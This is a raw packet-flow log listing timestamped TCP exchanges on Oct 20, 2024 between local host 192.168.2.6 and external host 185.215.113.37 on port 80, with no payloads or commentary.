Oct 20, 2024 21:16:16.484865904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484883070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484883070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484898090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484914064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484929085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484930992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484944105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484950066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484958887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484973907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484987020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484988928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485004902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485012054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485021114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485035896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485047102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485050917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485064983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485080957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485088110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485112906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485133886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485457897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485511065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485680103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485694885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485724926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485739946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485740900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485754967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485754967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485766888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485769987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485785007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485796928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485800028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485814095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485827923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485841990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485846043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485857010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485862017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485872030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485888958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485896111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485908985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485910892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485925913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485940933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485954046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.485955000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485970020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485985041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.485990047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.486023903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.486037970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.486454964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.486471891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.486485004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.486505032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.486536026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.632141113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.638041019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974524021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974551916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974565029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974575996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974586964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974597931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974620104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974622011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.974631071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974644899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974658012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974662066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.974670887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974714994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.974806070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974819899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974833012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974848032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.974853039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.974893093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.974996090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975012064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975025892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975039959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975044012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975056887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975085020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975112915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975220919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975234985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975249052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975263119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975265026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975280046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975289106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975295067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975308895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975326061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975349903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975420952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975435019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975457907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975464106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975472927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975486994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975502968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975505114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975543022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975838900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975850105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975860119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975871086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975882053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975886106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975892067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975903988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975915909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975915909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975927114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975936890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975944042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975948095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975960016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975969076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.975970984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975982904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.975991964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976015091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976035118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976560116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976577044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976588964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976598978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976605892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976608992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976619959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976630926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976636887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976640940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976653099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976658106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976669073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976680040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976681948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976691008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976701021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976711988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976711988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976726055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976737976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976747036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976756096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976758957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976769924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976782084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.976794004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.976821899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977319956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977330923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977339983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977350950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977361917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977369070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977372885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977386951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977396965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977401018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977408886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977420092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977425098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977431059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977442026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977447987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977453947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977464914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977475882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977477074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977488041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.977499962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977520943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.977555037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978008986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978028059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978039026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978049040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978054047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978059053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978069067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978077888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978080988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978091955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978101969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978112936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978121042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978123903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978133917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978144884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978152037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978154898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978166103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978177071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978178024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978187084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978199959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978204966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978210926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978220940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978231907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978231907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978243113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978254080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978266954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978292942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978769064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978780985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978790998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978811026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978847027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.978981018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.978991985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979001999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979012012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979022980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979022980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979033947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979043961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979053974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979064941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979065895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979074955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979085922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979104042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979114056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979114056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979125977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979139090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979150057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979150057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979160070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979170084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979175091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979181051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979203939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979228020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979784966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979795933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979804993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979818106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979827881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979830027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979840994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979850054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979851007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979860067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979868889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979878902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.979892969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979934931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.979991913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980003119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980012894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980025053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980035067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980037928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980046034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980057955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980066061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980067968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980077982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980087996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980087996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980099916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980110884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980113983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980120897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980133057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980140924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980178118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980891943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980902910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980911970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980922937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980933905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980937958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980943918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980954885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980963945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980966091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980978012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.980986118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.980990887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981003046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981017113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981029034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981031895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981043100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981055975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981066942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981067896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981080055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981093884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981101036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981106997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981125116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981132984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981167078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981487989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981503963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981537104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981548071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981551886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981563091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981570005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981574059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981609106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981633902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981642962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981646061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981656075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981671095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981683016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981723070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981796980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981808901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981818914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981829882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981837034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981852055 CEST	80	49711	185.215.113.37	192.168.2.6
